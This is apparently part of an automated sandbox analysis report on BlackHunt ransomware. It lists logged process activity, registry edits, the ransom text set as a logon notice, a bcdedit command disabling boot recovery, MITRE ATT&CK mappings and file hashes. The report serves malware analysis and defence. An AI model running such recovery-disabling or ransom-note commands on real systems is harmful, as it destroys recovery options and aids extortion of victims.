C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:8656
-
C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4996
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:6008
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:3392
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:5056
-
C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:1680
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:7076
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:3936
-
-
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Suspicious use of WriteProcessMemory
PID:2376
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:10108
-
C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:7364
-
C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:11816
-
C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:16748
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:5000
-
C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No1⤵
- Modifies boot configuration data using bcdedit
PID:6524
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵PID:4524
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4680 -ip 46801⤵PID:7960
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1KB
MD5aaa6f74696ca8602c7c9d7610d4e2195
SHA1392d42af9e7569298a15902e802fc4f161fbdbf1
SHA256b5f0c3fade16e4f602c990c179c5c09c65b61eed25d59014f512bd7378130615
SHA512069c850f5c5470be1b6814660bda4591f201f324c626a71089592f02c771cf7e8f49e79e40a98b29f04c8055b4551bc108b182a0c8cbb9985991aa9b3e6296e3
-
Filesize
12KB
MD586a4f08f6453acb6c9d3cc9c4370a20c
SHA179168b04e78c3d844c1542d91baeea0a22c884b9
SHA256ca4865c64e852579d8c1bd686f1398946aa02a12d9bdd84283d46f8202b885c1
SHA51296eaed6f95b65eae9732fe474ee00c5fff95afb67b6184cf4aa09db2fc807ae87d03bcbceab8ff92920e389cf5b3690dba53e5ca3e5d8d2a061bef4d3490bcc3
-
Filesize
684B
MD579ee4f53e0efbd08c998f630fbcf831c
SHA167cd5935a3d859531de300ebf751b24300efa8b4
SHA2562473a0a7903a02bc627e66fc6012882c403b780cb86b4267806630c3596deda8
SHA512ef840768830712811426b79a5b1784fa2362f866d16290fb775ffd8009b050bf9531b66d145c1f5351a7920f74e1e6921e55b1c0e49a4df2a578e2d3defb151d